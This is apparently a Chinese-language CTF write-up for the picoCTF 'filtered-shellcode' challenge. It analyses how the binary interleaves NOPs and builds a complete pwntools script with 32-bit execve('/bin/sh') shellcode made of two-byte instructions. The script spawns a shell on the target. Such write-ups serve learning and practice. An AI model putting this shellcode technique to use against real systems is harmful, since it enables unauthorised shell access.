久違來個簡單 pwn
我就爛
工具:pwnlib, gef
題目:[filtered-shellcode](https://play.picoctf.org/practice/challenge/184)
## 觀察
用 `file` 看一下,發現他是 32 bit 程式
`checksec` 發現他
1. 沒有 stack protection
2. stack 有 execute 權限
看起來一臉就是寫 shellcode 的樣子
打開 ghidra,可以發現 `main` 做的事非常簡單:
```c
int main() {
// unnecessary bits trimmed
puts("Give me code to run:");
iVar1 = fgetc(stdin);
local_15 = (char)iVar1;
while ((local_15 != '\n' && (local_14 < 1000))) {
local_3fd[local_14] = local_15;
iVar1 = fgetc(stdin);
local_15 = (char)iVar1;
local_14 = local_14 + 1;
}
if ((local_14 & 1) != 0) {
local_3fd[local_14] = -0x70;
local_14 = local_14 + 1;
}
execute(local_3fd,local_14);
return 0;
}
```
就是讀至多 1000 個 char,送到 execute 裡面
接下來拆開 `execute`,發現太麻煩了,所以直接送給 gdb `disas execute`
```asm
(...)
0x080485bb <+197>: add eax,edx
0x080485bd <+199>: mov BYTE PTR [eax],0xc3
0x080485c0 <+202>: mov eax,DWORD PTR [ebp-0x1c]
0x080485c3 <+205>: mov DWORD PTR [ebp-0x20],eax
0x080485c6 <+208>: mov eax,DWORD PTR [ebp-0x20]
=> 0x080485c9 <+211>: call eax
0x080485cb <+213>: mov esp,ebx
0x080485cd <+215>: nop
0x080485ce <+216>: mov ebx,DWORD PTR [ebp-0x4]
0x080485d1 <+219>: leave
0x080485d2 <+220>: ret
```
先輸入一個 ABCDEFG...,遇到 breakpoint 時,發現 `eax` 變成 `0x90904241`,4241看起來一臉像 BA 的樣子。
`x/10c $eax`:
```
0xffffc8a0: 0x41 0x42 0x90 0x90 0x43 0x44 0x90 0x90
0xffffc8a8: 0x45 0x46
```
也就是說,程式會讀入1000個 char,每兩個字加上 nop,並且跳過去執行。到這裡就可以開始寫 shellcode 了。
想法:
1. 生出字串 `/bin/sh`
2. 叫一個 system call 出來執行
翻了一下 [system call table](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit),最有用的應該是 execve
同一個網站裡面也用 calling convention,所以要做的事變成:
1. `eax = 0xb`
2. `ebx = /bin/sh`
3. `ecx = edx = 0x0`
## /bin/sh
目標:在 stack 裡面生出 `/bin/sh` 字串
[在 32 bit push 常數的時候,一次就是 push 4 個 byte](https://stackoverflow.com/questions/15855021/x86-can-push-pop-be-less-than-4-bytes)。也就是說,這樣的 push instruction 會被 nop 切開。
因此,既然不能 push,那就先拿4個字填滿 register,再一起 push 進去。
填字的想法:
1. 把字塞進 dh, dl
2. left shift 16
3. 把剩下兩個字填入 dh, dl
這樣的話 `mov` 是一個 byte,要移的內容也是一個 byte,皆大歡喜。
接下來處理 shift 的部份
[如果直接 shl 一個常數的話,他會讀三個 byte](https://tinyurl.com/4k4jks7r),可是他也有提供 `shl cl` 的作法,就可以在兩個 byte 之內完成
第一個版本的 payload:
```python
from pwn import *
shellCode = b''.join([
asm("mov cl, 0x10"), # shift by 16 bits each round
asm("mov dh, '/'"),
asm("mov dl 'b'"),
asm("shl edx, cl"),
asm("mov dh, 'i'"),
asm("mov dl, 'n'"),
asm("push edx"),
asm("mov dh, '/'"),
asm("mov dl 's'"),
asm("shl edx, cl"),
asm("mov dh, 'h'"),
asm("mov dl, 0x0")
asm("push edx"),
])
```
在第一次 push 之後卻出現這個狀況:
```asm
0xffc13726 nop
0xffc13727 nop
0xffc13728 push edx
→ 0xffc13729 mov dh, 0x90
0xffc1372b nop
0xffc1372c das
0xffc1372d mov dl, 0x90
0xffc1372f nop
```
0x90 看起來一臉像是 nop 的樣子,應該是被讀進去了。
稍微檢查一下,可以發現 `push edx` 其實只有一個 byte 長。為了不跟 nop 搞混,就在每次 push 的下一行加上一個 `clc`
這樣 stack 裡面應該就被塞入 `/bin/sh` 了。
實際跑一次,在 clc 之後 `x/s $esp`,空的。 `x/10c $esp`,發現字串完全反過來了
因此順序顛倒之後重來一次,形成第二版:
```python
shellCode = b''.join([
asm("mov cl, 0x10"), # shift by 16 bits each round
asm("mov dh, 0x0"),
asm("mov dl, 'h'"),
asm("shl edx, cl"),
asm("mov dh, 's'"),
asm("mov dl, '/'"),
asm("push edx"),
asm("clc"),
asm("mov dh, 'n'"),
asm("mov dl, 'i'"),
asm("shl edx, cl"),
asm("mov dh, 'b'"),
asm("mov dl, '/'"),
asm("push edx"),
asm("clc"),
asm("mov ebx, esp") # ebx = /bin/sh
])
```
## arguments and function call
目前進度:
1. `eax = 0xb`
2. `ebx = /bin/sh` (done)
3. `ecx = edx = 0x0`
eax 很簡單,只要 lshift 32 bit(清空)之後 `mov al, 0xb` 就好。
然而,如果直接 shift 32 bit,他會把 register 原封不動的還給你。因此,需要 shift 16 bit 兩次把他清空
edx 也可以用一樣的手法完成,可是 ecx 包含 cl,所以 shift 完第一次 16 bit 之後,需要手動 shift 1 bit 16 次。
也可以:
```asm
mov cl, 0x1f
shl ecx, cl
shl ecx, 1
```
因為 left shift 1 bit 也是兩個字長。
這樣 eax ~ edx 都處理好之後,就可以只接 `int 0x80` 開始做事了。
完整版 script:
```python
#!/bin/python
from pwn import *
context.terminal = ['xfce4-terminal', '-e']
p = process('/data/ctf/fun')
gdb.attach(p)
# p = remote('mercury.picoctf.net', 35338)
shellCode = b''.join([
asm("mov cl, 0x10"), # shift by 16 bits each round
asm("mov dh, 0x0"),
asm("mov dl, 'h'"),
asm("shl edx, cl"),
asm("mov dh, 's'"),
asm("mov dl, '/'"),
asm("push edx"),
asm("clc"),
asm("mov dh, 'n'"),
asm("mov dl, 'i'"),
asm("shl edx, cl"),
asm("mov dh, 'b'"),
asm("mov dl, '/'"),
asm("push edx"),
asm("clc"),
asm("mov ebx, esp"), # ebx = /bin/sh
asm("shl eax, cl"),
asm("shl eax, cl"), # eax = 0x0
asm('mov al, 0x0b'), # eax = 0x0b, execve
asm("shl edx, cl"),
asm("shl edx, cl"), # edx = 0x0
asm("mov cl, 0x1f"),
asm("shl ecx, cl"),
asm("shl ecx, 1"),
asm("int 0x80")
])
p.sendline(shellCode)
p.interactive()
```
送上去就可以 cat flag 了。
2021-07-11 19:18:05
留言
Last fetch: --:--
現在還沒有留言!